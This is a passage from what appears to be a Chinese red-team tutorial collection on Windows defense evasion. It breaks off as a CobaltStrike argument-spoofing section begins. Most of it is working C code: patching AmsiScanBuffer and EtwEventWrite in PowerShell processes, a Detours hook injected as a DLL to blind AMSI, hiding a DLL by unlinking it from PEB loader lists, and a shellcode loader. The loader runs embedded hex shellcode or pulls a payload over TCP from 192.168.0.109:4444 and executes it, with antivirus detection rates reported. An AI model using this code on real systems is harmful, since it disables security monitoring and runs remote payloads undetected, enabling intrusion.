	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

	HMODULE hAmsi = LoadLibraryA("amsi.dll");
	LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

	Sleep(500);

	DWORD oldProtect;
	char patch = 0xc3;

	VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
	WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
	VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	FreeLibrary(hAmsi);
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M9pXEDh2OWKtTjt5Vjr%2F-M9pXaA6qQ9NowuQ69B4%2Fimage.png?alt=media\&token=f41dad30-e1fc-46ff-9e64-7b94e31f0dbf)

## LINKS

{% embed url="<https://www.contextis.com/en/blog/amsi-bypass>" %}

{% embed url="<https://www.anquanke.com/post/id/168210>" %}

{% embed url="<https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html>" %}

{% embed url="<https://www.anquanke.com/post/id/180281>" %}


# 基于API Hook和DLL注入的AMSI绕过

## 简介

前面我们有详细的介绍过AMSI的原理和基于内存补丁的绕过方法，这次我们介绍一种略微复杂的方法，同时这种方法也可以应用于各种场景，前面我们有介绍过通过微软开源库[Detours](/persistence/detous-inline-hook)的inLineHook和[进程注入](/code-and-dll-process-injection/createremotethread)的dll注入，这次我们把这两种技术做一个组合，来实现amsi的绕过，同样的思路也可以对 EtwEventWrite进行修补，使其丧失记录日志能力。

## 流程

1. 编写一个hook AmsiScanBuffer的dll
2. 使用[dll注入](/code-and-dll-process-injection/createremotethread#42-dll-zhu-ru)进powershell进程
3. 完成绕过

## 代码

dll注入的代码延用[CreateRemoteThrea](/code-and-dll-process-injection/createremotethread)的代码。

```
#include <Windows.h>
#include <stdio.h>
#include <amsi.h>
#include "include/detours.h"
#pragma comment(lib, "amsi.lib")
#pragma comment(lib,"lib.X64/detours.lib")

#define SafeString "SafeString"

static HRESULT(WINAPI* _AmsiScanBuffer)(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result
    ) = AmsiScanBuffer;

HRESULT WINAPI AmsiScanBuffer_(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result
) 
{
    return _AmsiScanBuffer(amsiContext, (BYTE*)SafeString, length, contentName, amsiSession, result);
}


BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
        DetourTransactionCommit();
        printf("hook ok\n");
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
        DetourTransactionCommit();
        break;
    }
    return TRUE;

}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAG6eDraVNDl1LnRDTN%2F-MAG70jDsaPwiYHIBhHG%2Fimage.png?alt=media\&token=2dff4bcf-a459-47b1-9ccf-068db51367d3)

## LINKS

{% embed url="<https://x64sec.sh/understanding-and-bypassing-amsi/>" %}


# 基于内存补丁ETW的绕过

## 简介

通常在红队行动中，面临的最大挑战并不是诸如杀毒、EDR之类的防护软件，红队行动中工具&代码的杀毒绕过只是事前工作(基本功)，所以攻击者使用的工具&代码往往在本地就比较完备的完成了免杀工作，在这样的背景下，如何让工具尽可能少的留下痕迹就成为了红队成员首要解决的问题。

在cobaltstrike中实现了在非托管进程中加载托管代码的功能模块execute-assembly，而这个功能因为操作系统提供的API（ ICLRMetaHost[、](https://www.21ct.cc/)ICLRRuntimeInfo、ICLRRuntimeHost）在实现上并不复杂，但是这并不影响它的实用性。

## 技术原理

对于检测CLR进行的操作(托管进程)一种比较好的方法就是通过Windows事件跟踪（ETW),虽然该功能最早是为了调试和监控性能引入的，但是这并不妨碍它成为监控execute-assembly等功能的行为操作。

如我们正常开启一个powershell(属于托管进程)，在进程加载过程中就会产生大量日志记录，我们可以通过processhacker，进行查看。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAU73Iu4mZjhD7-G8ng%2F-MAUD64C5ahY6zumxh3n%2Fimage.png?alt=media\&token=f81aad0a-72d5-4eb1-b533-f0cf9ff77509)

根据前人的研究结果，我们可以知道ETW是由用户空间ntdll.dll!EtwEventWrite发起的(这里手动@xpn)，这样我们对其绕过也能比较方便的实现。

> ### How does the CLR surface events via ETW? <a href="#how-does-the-clr-surface-events-via-etw" id="how-does-the-clr-surface-events-via-etw"></a>
>
> Hopefully by this point the goal is obvious, we need to stop ETW from reporting our malicious activity to defenders. To do this we first need to understand just how the CLR exposes its events via ETW.
>
> Let's take a look at `clr.dll` to try and see if we can spot the moment that an event is triggered. Loading the PDB and hunting for the `AssemblyDCStart_V1` symbol using Ghidra, we quickly land on the following method:

> ![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAU73Iu4mZjhD7-G8ng%2F-MAUDOGr0NGxLxzNrNlY%2Fimage.png?alt=media\&token=993ebb28-1b97-4943-bad0-771c586737eb)

> Let's see if we can find the exact point that an event is generated reporting the Assembly load which we observed above with our ETW consumer. Dropping into WinDBG and setting a breakpoint on all `ntdll!EtwEventWrite` calls occurring after the `ModuleLoad` method above, we quickly discover the following where we can see our Assembly name of "test" is being sent:

> ![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAU73Iu4mZjhD7-G8ng%2F-MAUDeY7UUDIZcPR_n16%2Fimage.png?alt=media\&token=cfb0a0fa-114e-43a7-95d1-af9fe04b4189)

> So this tells us 2 things. First, these ETW events are sent from userland, and second that these ETW events are issued from within a process that we control... And as we know, having a malicious process report that it is doing something malicious never ends well.

根据XPN大佬的研究结果，我们尝试patch ntdll!EtwEventWrite来验证结论是否正确，这里使用x64dbg和powershell来验证。

首先使用x64dbg创建一个powershell进程，这时x64dbg会在线程初始化前下一个断点。

定位到ntdll!EtwEventWrite。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUEuDwsYd_St64mfgq%2F-MAUFyYlUi7W5-tAQqtf%2Fimage.png?alt=media\&token=64574eda-d925-4d95-87f7-b9a1a5ee4142)

一般windows api默认使用stdcall(x86)调用约定，这里x64默认使用fastcall，即寄存器传参，被调用者清理堆栈，所以我们直接返回就好，以防万一我们确认一下，堆栈的平衡方式会决定我们的内存补丁写法(这里之前看错了，把后面那个add rsp,58以为是函数内那个call的)。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUH3nk6q93QipUKEHD%2F-MAUHG29E2kG-jZm7GnB%2Fimage.png?alt=media\&token=b1494bd0-ed47-4840-a515-c0e7beb1dea5)

这时我们使用一起BypassAmsi的方式在函数开头直接返回。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUH3nk6q93QipUKEHD%2F-MAUeYJkNv_RJOal75HB%2Fimage.png?alt=media\&token=11d9c32c-9fd7-42c0-a5e8-6c970b86a113)

在processhacker中查看clr日志。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUH3nk6q93QipUKEHD%2F-MAUel0W8saNavVNKgKf%2Fimage.png?alt=media\&token=7ed49db5-8aaf-49fd-b888-6d562a79c379)

我们发现现在无法读取到任何日志。

## 代码

代码的话拿AMSI的随便改改就行。

由于ntdll在进程加载之初就已经导入，所以这里不需要短暂睡眠，直接挂起创建就行。

```

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
int main() {
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

	//Sleep(500);

	DWORD oldProtect;
	char patch = 0xc3;

	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
	WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char),NULL);

	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL); 
	ResumeThread(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	//FreeLibrary(hNtdll);
	return 0;

}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUH3nk6q93QipUKEHD%2F-MAUforhFbs2Fe1i0yAX%2Fimage.png?alt=media\&token=226738a0-c1e3-4291-bdc7-e8fa44a6f5ce)

## LINKS

{% embed url="<https://blog.xpnsec.com/hiding-your-dotnet-etw/>" %}


# 基于断链的DLL隐藏

## 简介

在红队行动的时，我们往往需要往目标系统的某个进程内注入一个自定义的DLL，而这个自定的DLL往往是恶意，如何让这个模块不被蓝队或应急响应工作者更难检测到就是我们需要做的，断链这种技术非常古老，同时应用于非常多的场景，在内核层如果我们需要隐藏一个进程的内核结构体，也会使用这种技术。

在实战场景中，这种技术使用的比较少，如果需要跨进程隐藏的话需要频繁的读内存，或把代码打成shellcode注入目标进程，所以实际使用中往往不如直接使用shellcode来的方便，同时操作系统内核维护了一个vad二叉树，这个二叉树内管理着所有分配的内存和加载的模块,在三环我们往往无法直接操作内核，所以在windbg此类内核调试器中，此类模块隐藏往往没有意义。

## 手工实现

前面写commandline伪装的时候讲到过，操作系统会在ring3维护一个结构体PEB(进程环境块)，段寄存器FS:\[00]\(x86环境)在三环时始终指向TEB(线程环境块)，TEB偏移0x30则指向该进程的PEB。

通常我们可以使用内联汇编的方式获取PEB位于内存的虚拟地址。

```
mov eax, fs: [0x30] ;　
```

通过windbg定位teb->peb。

```
0:007> dt _teb 02f60000
combase!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : (null) 
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : (null) 
   +0x02c ThreadLocalStoragePointer : (null) 
   +0x030 ProcessEnvironmentBlock : 0x02f48000 _PEB //PEB的位置
   +0x034 LastErrorValue   : 0
   +0x038 CountOfOwnedCriticalSections : 0
   +0x03c CsrClientThread  : (null) 
   +0x040 Win32ThreadInfo  : (null) 
   +0x044 User32Reserved   : [26] 0
   ···
   +0xfd8 LockCount        : 0
   +0xfdc WowTebOffset     : 0n-8192
   +0xfe0 ResourceRetValue : (null) 
   +0xfe4 ReservedForWdf   : (null) 
   +0xfe8 ReservedForCrt   : 0
   +0xff0 EffectiveContainerId : _GUID {00000000-0000-0000-0000-000000000000}
```

在PEB偏移0x0c位置存在着三条模块链表。

使用汇编获取。

```
 mov eax, [eax + 0x0c];
```

```
0:007> dt _peb 0x02f48000
combase!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x84 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y1
   +0x004 Mutant           : 0xffffffff Void
   +0x008 ImageBaseAddress : 0x001f0000 Void
   +0x00c Ldr              : 0x771e4d80 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x03042100 _RTL_USER_PROCESS_PARAMETERS
   ···
   +0x464 CloudFileDiagFlags : 0
   +0x468 PlaceholderCompatibilityMode : 2 ''
   +0x469 PlaceholderCompatibilityModeReserved : [7]  ""
   +0x470 LeapSecondData   : 0x7f690000 _LEAP_SECOND_DATA
   +0x474 LeapSecondFlags  : 0
   +0x474 SixtySecondEnabled : 0y0
   +0x474 Reserved         : 0y0000000000000000000000000000000 (0)
   +0x478 NtGlobalFlag2    : 0
```

根据链表含义分别是 模块加载顺序、模块初始化顺序、模块内存顺序。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUhG1ECTWzhARbZGrd%2F-MAUjIf5tkmoyHc2vLsT%2Fimage.png?alt=media\&token=e94e0f31-d303-4b38-b6cb-41fc8572f3dd)

```
0:007> dt _PEB_LDR_DATA 0x771e4d80
combase!_PEB_LDR_DATA
   +0x000 Length           : 0x30
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x3043e48 - 0x3087fc0 ]
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x3043e50 - 0x3087fc8 ]
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x3043d70 - 0x3088d90 ]
   +0x024 EntryInProgress  : (null) 
   +0x028 ShutdownInProgress : 0 ''
   +0x02c ShutdownThreadId : (null) 
```

这三条链表实际上是\_LDR\_DATA\_TABLE\_ENTRY结构体的头部。

```
0:007> dt _LDR_DATA_TABLE_ENTRY  0x703e48
combase!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x703d60 - 0x771e4d8c ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x703d68 - 0x771e4d94 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase          : 0x00c10000 Void
   +0x01c EntryPoint       : 0x00c31860 Void
   +0x020 SizeOfImage      : 0x2e000
   +0x024 FullDllName      : _UNICODE_STRING "C:\WINDOWS\SysWOW64\notepad.exe"
   +0x02c BaseDllName      : _UNICODE_STRING "notepad.exe"
   ···
   +0x064 SwitchBackContext : 0x770c11a4 Void
   +0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE
   +0x074 MappingInfoIndexNode : _RTL_BALANCED_NODE
   +0x080 OriginalBase     : 0xc10000
   +0x088 LoadTime         : _LARGE_INTEGER 0x01d64879`7031a94c
   +0x090 BaseNameHashValue : 0x4c900b25
   +0x094 LoadReason       : 4 ( LoadReasonDynamicLoad )
   +0x098 ImplicitPathOptions : 0
   +0x09c ReferenceCount   : 2
   +0x0a0 DependentLoadFlags : 0
   +0x0a4 SigningLevel     : 0 ''
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUg8KryzugPhl3YW_E%2F-MAUgds8g3zwmFftCFnW%2Fimage.png?alt=media\&token=dcb72264-5445-40ca-8b58-8c75c74f767d)

到这里我们的思路应该已经很清晰了，在ring3操作系统维护着模块双向链表，我们只要修改我们想要隐藏的模块的前后两个\_LDR\_DATA\_TABLE\_ENTRY结构体的前后链表就能实现这个效果。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAUjOBVlldOwadS4UNH%2F-MAUlxNYWr-0AxZ9cPsD%2Fimage.png?alt=media\&token=662b7a57-b8cb-46e9-9622-72e03b0d1379)

通俗点说，我们只要让 我的下一个模块的前一个模块指向我的前一个，我的前一个模块的下一个模块指向我的下一个。

## 思路

1. 获取PEB地址
2. 获取LDR地址
3. 遍历链表
4. 断链

## 代码实现

```
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>


typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    BOOLEAN                 Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY          InLoadOrderModuleList;  
    LIST_ENTRY          InMemoryOrderModuleList;
    LIST_ENTRY          InInitializationOrderModuleList; 
    LPVOID              BaseAddress;  
    LPVOID              EntryPoint;  
    ULONG               SizeOfImage;
    UNICODE_STRING      FullDllName;
    UNICODE_STRING      BaseDllName;
    ULONG               Flags;
    SHORT               LoadCount;
    SHORT               TlsIndex;
    HANDLE              SectionHandle;
    ULONG               CheckSum;
    ULONG               TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;



int main()
{

    HMODULE hMod = GetModuleHandleA("ntdll.dll");
    PPEB_LDR_DATA pLdr;
    PLIST_ENTRY pBack, pNext;
    PLDR_DATA_TABLE_ENTRY pLdm;


    _asm
    {
        mov eax, fs: [0x30] ;　　　　　　　　　
        mov eax, [eax + 0x0c];
        mov pLdr, eax;
    }



    pBack = &(pLdr->InLoadOrderModuleList);         
    pNext = pBack->Flink;              
    do
    {
        pLdm = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList); 

        if (hMod == pLdm->BaseAddress)                                    
        {                                             
            pLdm->InLoadOrderModuleList.Blink->Flink =                 
                pLdm->InLoadOrderModuleList.Flink;

            pLdm->InLoadOrderModuleList.Flink->Blink =
                pLdm->InLoadOrderModuleList.Blink;

            pLdm->InInitializationOrderModuleList.Blink->Flink =
                pLdm->InInitializationOrderModuleList.Flink;

            pLdm->InInitializationOrderModuleList.Flink->Blink =
                pLdm->InInitializationOrderModuleList.Blink;

            pLdm->InMemoryOrderModuleList.Blink->Flink =
                pLdm->InMemoryOrderModuleList.Flink;

            pLdm->InMemoryOrderModuleList.Flink->Blink =
                pLdm->InMemoryOrderModuleList.Blink;
            break;
        }
        pNext = pNext->Flink;
    } while (pBack != pNext);

    system("pause");
    return 0;
}
```

如果您是究极逻辑怪，还可以看看这个不使用结构体的指针版本。

```
#include <Windows.h>
#include <stdio.h>

void HideModule(char *szModule)
{
    DWORD *PEB         = NULL,         
        *Ldr         = NULL,        
        *Flink       = NULL,         
        *p           = NULL,         
        *BaseAddress = NULL,         
        *FullDllName = NULL;    
    __asm    
    {        
        mov     eax,fs:[0x30]        
        mov     PEB,eax    
    }    
    
    HMODULE hMod = GetModuleHandle(szModule);

    Ldr   = *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );
    Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x0c ) ); 
    p     = Flink;    

    do    
    {        
        BaseAddress = *( ( DWORD ** )( ( unsigned char * )p + 0x18 ) );        
        FullDllName = *( ( DWORD ** )( ( unsigned char * )p + 0x28 ) );
        if (BaseAddress == (DWORD *)hMod)
        {
            **( ( DWORD ** )(p + 1) ) = (DWORD)*( ( DWORD ** )p );
            *(*( ( DWORD ** )p ) + 1) = (DWORD)*( ( DWORD ** )(p + 1) );
            break;
        }
        p = *( ( DWORD ** )p );    
    }    while ( Flink != p ); 
    
    Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x14 ) ); 
    p     = Flink;    
    do    
    {    
        BaseAddress = *( ( DWORD ** )( ( unsigned char * )p + 0x10 ) );        
        FullDllName = *( ( DWORD ** )( ( unsigned char * )p + 0x20 ) );        
        if (BaseAddress == (DWORD *)hMod)
        {
            **( ( DWORD ** )(p + 1) ) = (DWORD)*( ( DWORD ** )p );
            *(*( ( DWORD ** )p ) + 1) = (DWORD)*( ( DWORD ** )(p + 1) );
            break;
        }
        p = *( ( DWORD ** )p );    
    }    while ( Flink != p ); 
    
    Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x1c ) );
    p     = Flink;    
    do    
    {        
        BaseAddress = *( ( DWORD ** )( ( unsigned char * )p + 0x8 ) );        
        FullDllName = *( ( DWORD ** )( ( unsigned char * )p + 0x18 ) );        
        if (BaseAddress == (DWORD *)hMod)
        {
            **( ( DWORD ** )(p + 1) ) = (DWORD)*( ( DWORD ** )p );
            *(*( ( DWORD ** )p ) + 1) = (DWORD)*( ( DWORD ** )(p + 1) );
            break;
        }
        p = *( ( DWORD ** )p );    
    }    while ( Flink != p ); 
}

int main(int argc, char* argv[])
{
    HideModule("kernel32.dll");

    getchar();

	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAQSI1sS3UwFGMpyEvh%2F-MAQT3QBx3apkXSgDnWN%2Fimage.png?alt=media\&token=148e9f06-610a-4551-93a5-26c502a9f68f)

## LINKS

{% embed url="<https://www.epubit.com/bookDetails?id=N40707>" %}

{% embed url="<https://bbs.pediy.com/thread-225832.htm>" %}

{% embed url="<https://www.cnblogs.com/iBinary/p/9601860.html>" %}


# 基于HEX字符串执行的AV绕过

hex-strings-execute

## 开源项目改造->内嵌shellcode

我们采用@[DimopoulosElia](https://github.com/DimopoulosElias)的 [SimpleShellcodeInject](https://github.com/DimopoulosElias/SimpleShellcodeInjector)项目进行一些自定义改造，核心代码如下。

```
for(unsigned int i = 0; i< iterations-1; i++) {//读入HEX字符串转换成shellcode
    sscanf(shellcode+2*i, "%2X", &char_in_hex);
    shellcode[i] = (char)char_in_hex;
}
```

由于该项目采用命令行传参，在实际使用过程中可能不太方便，我们对其进行一个内嵌HEX字符串的操作。

```bash
// windows/messagebox - 272 bytes
// https://metasploit.com/
// VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
// TITLE=MessageBox, TEXT=Hello, from MSF!, ICON=NO
d9eb9bd97424f431d2b27731c9648b71308b760c8b761c8b46088b7e208b36384f1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3b20829d489e589c2688e4e0eec52e89fffffff894504bb7ed8e273871c2452e88effffff894508686c6c20416833322e64687573657230db885c240a89e656ff550489c250bba8a24dbc871c2452e85fffffff686f7858206861676542684d65737331db885c240a89e36858202020684d53462168726f6d20686f2c20666848656c6c31c9884c241089e131d252535152ffd031c050ff5508

```

{% code title="SimpleShellcodeInjector.c" %}

```bash
#include <stdio.h>
#include <Windows.h>
char shellcode[] = "d9eb9bd97424f431d2b27731c9648b71308b760c8b761c8b46088b7e208b36384f1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3b20829d489e589c2688e4e0eec52e89fffffff894504bb7ed8e273871c2452e88effffff894508686c6c20416833322e64687573657230db885c240a89e656ff550489c250bba8a24dbc871c2452e85fffffff686f7858206861676542684d65737331db885c240a89e36858202020684d53462168726f6d20686f2c20666848656c6c31c9884c241089e131d252535152ffd031c050ff5508";
int main(int argc, char* argv[]) {

    unsigned int char_in_hex;


 //  char* shellcode = argv[1];//从参数读取HEX字符串
    unsigned int iterations = strlen(shellcode);
    

    unsigned int memory_allocation = strlen(shellcode) / 2;

    VirtualProtect(shellcode, memory_allocation, PAGE_READWRITE, 0);
    //由于字符串编译后默认写入不可写的PE段，所以需要修改内存属性

    for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
        sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }


    void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

    (*(void (*)()) exec)();

    return 0;
}
```

{% endcode %}

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3JcZXq3j9UX-x2iV4I%2F-M3JjiG1ObXzKCR5nH2g%2Fimage.png?alt=media\&token=0181d758-bcf9-4c8d-99ef-adf5090cf43e)

* 未加密payload检出率:12%

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3JcZXq3j9UX-x2iV4I%2F-M3Jl5hdELWz_GPKzRfd%2F%E6%89%B9%E6%B3%A8%202020-03-26%20105427.jpg?alt=media\&token=8e227992-3086-4cc2-b92a-1236bebfca7a)

## 开源项目改造->网络分离免杀

由于内嵌payload，可能会被部分杀软标记特征码，这里给这个开源项目加入网络传递payload功能，代码如下。

```bash
#include <Windows.h>
DWORD RecvData(char** DataBuffer);
```

```bash
#include <stdio.h>
#include <Windows.h>
#include "sockets.h"


int main(int argc, char* argv[]) {
    unsigned int char_in_hex;
    LPSTR  shellcode = NULL;
 //  char* shellcode = argv[1];//从参数读取HEX字符串
    unsigned int iterations = RecvData(&shellcode);
    

    unsigned int memory_allocation = iterations / 2;


    for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
        sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }


    void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

    (*(void (*)()) exec)();

    return 0;
}
```

```bash
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable : 4996)

DWORD RecvData(char** DataBuffer) {
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	SOCKET ConnectSocket;
	ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	sockaddr_in clientService;
	clientService.sin_family = AF_INET;
	clientService.sin_addr.s_addr = inet_addr("192.168.0.109");
	clientService.sin_port = htons(4444);
	int iResult = 0;
	INT OnceRecvBytes = 0;
	INT RecvBytes = 0;
	struct timeval timeout = { 3,0 };
	int ret = setsockopt(ConnectSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
	char* bufferReceivedBytes = new char[2000000];

	do
	{
		iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
		Sleep(5);

	} while (iResult == SOCKET_ERROR);


	RecvBytes = recv(ConnectSocket, bufferReceivedBytes, 4096, NULL);


	iResult = closesocket(ConnectSocket);
	*DataBuffer = bufferReceivedBytes;
	return RecvBytes;
};

```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3K4GjyUTUlNczZ2Vxt%2F-M3K4qSmFAAeQ55bR3TK%2F%E6%89%B9%E6%B3%A8%202020-03-26%20122609.jpg?alt=media\&token=ad2faa27-06f3-4e1e-8c75-5bc9a3e11a16)

* 分离免杀检出率:8%

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3JsbY590Y_o0Slo_df%2F-M3JumAOPCUWa5nfYKZP%2F%E6%89%B9%E6%B3%A8%202020-03-26%20113729.jpg?alt=media\&token=0e4df978-4f1b-4974-9834-415474a65a66)

* github:<https://github.com/idiotc4t/ssi>

## LINKS

{% embed url="<https://github.com/DimopoulosElias/SimpleShellcodeInjector>" %}


# CobaltStrike Argue命令实现

## 简介

在Cobalt Strike 3.13版本的时候引入了一个进程参数欺骗的技术(虽然现在都4.0了)，可以使进程在创建时记录的参数与实际运行时不同，windows系统从peb的commandline中读取参数，并对参数做相应的处理，在线程未初始化完成前，我们可以修改参数，并让进程执行它，在操作上几乎与命令行伪装一样，只是有一些流程上的不同，这里不过多赘述详见[伪装命令行规避检测](/defense-evasion/fake-commandline)。

## 利用流程

1. 创建一个挂起的cmd或powershell进程。
2. 读取peb内的RTL\_USER\_PROCESS\_PARAMETERS结构体。
3. 定位到commandline的buffer指针。
4. 修改buffer的存放的commandline。

## 代码实现

```
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>


